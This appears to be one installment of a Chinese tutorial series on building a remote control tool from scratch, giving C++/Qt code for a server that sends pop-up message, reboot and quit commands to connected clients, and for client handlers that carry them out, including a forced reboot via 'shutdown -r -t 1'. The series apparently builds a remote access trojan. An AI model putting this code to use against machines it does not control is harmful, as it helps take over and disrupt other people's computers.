如果你从没看过这系列教程请点击:从零开始做远控 简介篇
1.ZeroClient类增加公有函数sendMessage
void ZeroClient::sendMessage(QString &text)
{
QString data;
data.append(CmdSendMessage+CmdSplit);
data.append(text);
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
2.ZeroClient类增加公有函数sendReboot
void ZeroClient::sendReboot()
{
QString data;
data.append(CmdReboot+CmdSplit);
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
3.ZeroClient类增加公有函数sendQuit
void ZeroClient::sendQuit()
{
QString data;
data.append(CmdQuit+CmdSplit);
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
4.Widget类的sendMessageClicked函数编写
void Widget::sendMessageClicked()
{
// 获取当前用户id
int id = currentClientIdFromTable();
if (id != -1) {
bool isSend;
QString text = QInputDialog::getText(this,
QString("发送信息至%0号客户").arg(id),
"请输入你要在客户端弹出的窗口信息",
QLineEdit::Normal,
"",
&isSend);
// 发送
if (isSend) {
ZeroClient *client = mZeroServer->client(id);
client->sendMessage(text);
}
}
}
5.Widget类的sendReboot函数编写
void Widget::rebootClicked()
{
// 获取当前用户id
int id = currentClientIdFromTable();
if (id != -1) {
ZeroClient *client = mZeroServer->client(id);
client->sendReboot();
}
}
6.Widget类的sendQuit函数编写
void Widget::quitClicked()
{
// 获取当前用户id
int id = currentClientIdFromTable();
if (id != -1) {
ZeroClient *client = mZeroServer->client(id);
client->sendQuit();
}
}
客户端接收指令并执行编写:
1.编写ZeroClient类里的函数parseArgs,用来分解参数
std::map<std::string, std::string> ZeroClient::parseArgs(std::string &data)
{
// 字符串分割成列表
std::vector<std::string> v;
std::string::size_type pos1, pos2;
pos2 = data.find(CmdSplit);
pos1 = 0;
while(std::string::npos != pos2) {
v.push_back(data.substr(pos1, pos2-pos1));
pos1 = pos2 + CmdSplit.size();
pos2 = data.find(CmdSplit, pos1);
}
if(pos1 != data.length()) v.push_back(data.substr(pos1));
// 解析参数
std::map<std::string, std::string> args;
for (int i=0; i<(int)v.size()-1; i+=2) {
args[v.at(i)] = v.at(i+1);
}
return args;
}
2.处理弹出窗口信息指令,编写ZeroClient类里的函数doSendMessage
void ZeroClient::doSendMessage(std::map<std::string, std::string> &args)
{
// 弹出窗口信息
MessageBoxA(NULL, args["TEXT"].data(), "Message", MB_OK);
}
3.处理重新开电脑指令,编写ZeroClient类里的函数doReboot
void ZeroClient::doReboot(std::map<std::string, std::string> &)
{
// 重启电脑
system("shutdown -r -t 1");
}
4.处理退出程序指令,编写ZeroClient类里的函数doQuit
void ZeroClient::doQuit(std::map<std::string, std::string> &)
{
// 退出本程序
ExitProcess(NULL);
}
效果图:
本节完整代码下载: